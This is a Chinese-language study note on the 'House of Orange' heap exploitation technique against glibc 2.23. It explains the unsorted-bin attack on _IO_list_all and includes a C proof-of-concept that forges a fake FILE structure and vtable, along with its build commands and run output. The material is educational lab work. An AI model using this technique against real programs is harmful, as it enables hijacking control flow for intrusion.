原理

具体调用链和条件,可看:https://bbs.kanxue.com/thread-280167.htm

demo

glibc2.23,无跳表检查。

条件:1.可溢出修改topchunk的size字段

2.可溢出修改已经放入到unsortedbin中的链表

基本思想:将iolist链表的起始地址从stdeer转换为unsortedbin的地址,则及那个unsortedbin当成stdeer,构造其chain字段,指向一个fake的io结构体,而chain字段按偏移量来算恰好为smallbin[5],也就是装0x60-0x70的大小的chunk的bin,因此需要将top的头伪造成0x61,伪造好所有结构体之后,申请一个大的chunk(大于unsortedbin中的否则则会split),然后top则会被装入smallbin,也就是说可以实现chain指向top头。

top[0]=”\bin\sh”;writebase<writeptr=writeend;vtable指向top中的一块已经构造好的地方。

/*
gcc-7 -c houseoforange.c -o orange.o
ld --dynamic-linker=/home/l/how2heap/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --rpath=/home/l/how2heap/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 orange.o -o orange -lc
*/
#include <stdlib.h>
#include <stdio.h>

int main(){
long * fun = (long*)malloc(0x100);
/*释放topchunk进入unsortedbin */
long * ptr1 = (long*)malloc(0x18);
long * top = (ptr1+2);
long * top_size = ptr1+3;
*top_size = *top_size & 0x0000000000000fff;
long * bck = top+3;
malloc(0x1000);
/*伪造top */
top[0] = 0x0068735c6e69625c;
*bck = top[2]+0x9a8-0x10;
struct _IO_FILE* top1 =(struct _IO_FILE*)top;
top1->_IO_write_base = (void *)2;
top1->_IO_write_ptr = top1->_IO_write_end =(void *)3;
*top_size = 0x61;
top1->_mode = -1;
void * fake = (void*)top;
long* vtable = (long *)(fake + 216);
/*伪造虚表和结构体*/
*vtable = top+10;
((long *)(*vtable))[3]= &puts;
malloc(0x1000);
}
/*结果会打印*/
root@L:/home/l/demoforheap# ./orange
*** Error in `./orange': malloc(): memory corruption: 0x00007f7fdf8e0520 ***
\bin\sh
Segmentation fault